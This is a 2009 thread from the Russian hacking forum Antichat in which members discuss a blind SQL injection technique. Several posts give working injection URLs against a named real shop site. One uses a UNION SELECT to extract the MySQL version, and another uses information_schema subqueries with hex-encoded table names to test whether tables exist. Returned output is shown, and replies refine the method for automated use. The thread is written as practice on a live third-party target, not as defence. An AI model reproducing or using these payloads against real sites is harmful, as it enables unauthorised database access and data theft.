Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

25.04.2009, 17:13
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
Сообщение от o3,14um
Ну во-первых, твой РЕАЛЬНОЙ пример
как-то и не работает =)
Я, конечно верю, что когда-то он работал, но посмотрим даже сейчас. Там по-видимому сделали пеерстройку и теперь проверяются переменные-результы на правильность и если хоть один из них неправильный - вылазит одибка мускуля. Ну, может там и подругому, но не суть.
мде
Этот пример до сих пор отлично работает, смотри внимательно :
5.0.19
Сообщение от o3,14um
Вот вам слепая скуля
http://www.omjewels.com/cpCommerce/document.php?id_document=2-1
из багтрека
http://www.xakep.ru/post/47899/default.asp
Покажите пожалуйста на примере, этот метод...
Это тоже не слепая скуль (мои приветы автору баги  )
http://www.omjewels.com/cpCommerce/document.php?id_document=-2+union+select+1,version(),3,4,5,6,7--
5.0.51a-community
Но дело конечно не в этом. Суть метода помоему ясна предельно, в зависимости от выполнения условия, результат будет разным. Т.е. если есть таблица 'admins' выведется новость 112, если 'users' 113, что тут непонятного?
=================
Конкретно на примере:
http://www.omjewels.com/cpCommerce/document.php?id_document=(select+1+from+informatio n_schema.tables+where+table_name=0x6C6F6C+union+se lect+2+from+information_schema.tables+where+table_ name=0x5649455753)
выводится новость 2 т.е.
http://www.omjewels.com/cpCommerce/document.php?id_document=2
Это происходит потому. что таблицы lol нет, а таблица VIEWS есть. Так понятно?
Последний раз редактировалось jokester; 25.04.2009 в 17:30..
|
|
|

26.04.2009, 00:58
|
|
Участник форума
Регистрация: 16.11.2006
Сообщений: 230
Провел на форуме: 599789
Репутация:
227
|
|
мде
Этот пример до сих пор отлично работает, смотри внимательно :
5.0.19
а, ё =) Ну это вывод в ошибке. не всегда сработает
Это происходит потому. что таблицы lol нет, а таблица VIEWS есть. Так понятно?
Ога, догнал =)
Только этот метод имеет ряд недостатков...
Если 2 варианта будут верны, то ниечго не получитсяЮ да и ещё нужно смотрет что за новость...
Идея, конечно хорошая, но я, к примеру никогда не буду пользоваться этим методо=)
|
|
|

26.04.2009, 01:52
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме: 5939734
Репутация:
1917
|
|
а чем не устороила конструкция select case?
__________________
Карфаген должен быть разрушен...
|
|
|

26.04.2009, 14:27
|
|
Познающий
Регистрация: 12.04.2009
Сообщений: 45
Провел на форуме: 122612
Репутация:
13
|
|
Если 2 варианта будут верны, то ниечго не получится
Заверни конструкцию в еще один select с limit'ом
Идея, конечно хорошая, но я, к примеру никогда не буду пользоваться этим методо=)
Твое дело =) Но если есть возможность провести отаку на порядок эффективнее почему бы ей не воспользоваться 
зы Метод какбе подразумевает автоматическое использование в скрипте, если не захарит, может напишу скриптег
Scipio
Не вкурсе насчет SELECT CASE, можешь просветить?  Это работает только в SQL SERVER?
|
|
|

26.04.2009, 16:33
|
|
Участник форума
Регистрация: 16.11.2006
Сообщений: 230
Провел на форуме: 599789
Репутация:
227
|
|
http://www.mysql.ru/docs/man/Control_flow_functions.html
тут про кэйс
Но если есть возможность провести отаку на порядок эффективнее почему бы ей не воспользоваться
помоему это не эффективнее, а просто запутанней =))
|
|
|

28.04.2009, 21:15
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
О чем тема ваще? Бред. Смысл перетирать то, что уже давно написано до нас? 
|
|
|

28.04.2009, 23:01
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме: 10605912
Репутация:
4693
|
|
Сообщение от Pashkela
О чем тема ваще? Бред. Смысл перетирать то, что уже давно написано до нас? 
Не бред, просто не до конца проработано 
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|